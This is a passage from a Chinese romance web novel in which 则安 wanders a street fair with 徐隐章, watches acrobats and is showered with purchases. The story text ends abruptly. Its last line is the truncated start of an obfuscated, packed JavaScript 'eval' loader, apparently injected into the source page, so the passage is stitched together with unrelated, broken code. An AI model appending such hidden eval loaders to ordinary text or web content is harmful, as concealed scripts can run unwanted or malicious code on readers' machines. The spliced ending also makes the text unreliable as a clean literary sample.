避着他们,无形之中竟然为他们辟出了一条道。即便如此,徐隐章还是紧紧握住她手。
来到最前面后,讨赏钱的年轻女子刚好到了则安面前。则安还未来得及取下耳环,藏锋不知从哪里冒了出来,将一锭银子放在托盘中。
这一锭银子至少十两,够普通四口之家吃上大半年,周围人纷纷看向则安一行人。
年轻女子笑着行了一礼:“多谢贵人!”
后面一个中年男人大声招呼着:“孩子们,有贵人赏赐,还不拿出你们看家的本领!”
则安以前只看过戏,而且是将戏班子请进府里。像这样,和这么多人挤在一起,看杂耍,还是头一回。表演的人每做一个危险动作,她和衔珠都暗暗吸气,等到他们完成后,一颗心又放下来。
看完杂耍后,则安又沿着街道两边逛,看什么都觉得新鲜。凡是她上手碰了的,或是多看了几眼的物件儿,藏锋都会买下,不一会儿,跟在后面的丫鬟小厮手上东西就提满了。
她又拿起了一只珠花。
“这个多少钱?”
他们一行人在街上十分显眼,买东西从不问价,老板早眼巴巴望着,准备翻十倍卖给他们。
“二十文。”
则安发现后头人时,他们已经大包小包拎了不少,她也不好意思花徐隐章太多钱。当下听了价格便放下心,那些东西花不了太多钱。
她又将珠花放下。
“全包起来。”徐隐章拿起刚才那只珠花,插在则安发髻上。
老板千恩万谢:“多谢贵人!”
“你怕我养不起你么?”徐隐章问。
则安抿唇,默默将珠花摘下,腹诽,做什么一副土皇帝的做派,怪丢人的。
院子里的丫鬟们估计都没见过这些珠花,回去了一人分几支,就差不多送完了,则安在心中默默盘算着。
逛到后面,则安有些饿了,正巧路面有许多她没见过的吃食,便想买来吃。
“吃些糕点吧。”徐隐章从身后丫鬟手里接过糕点。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^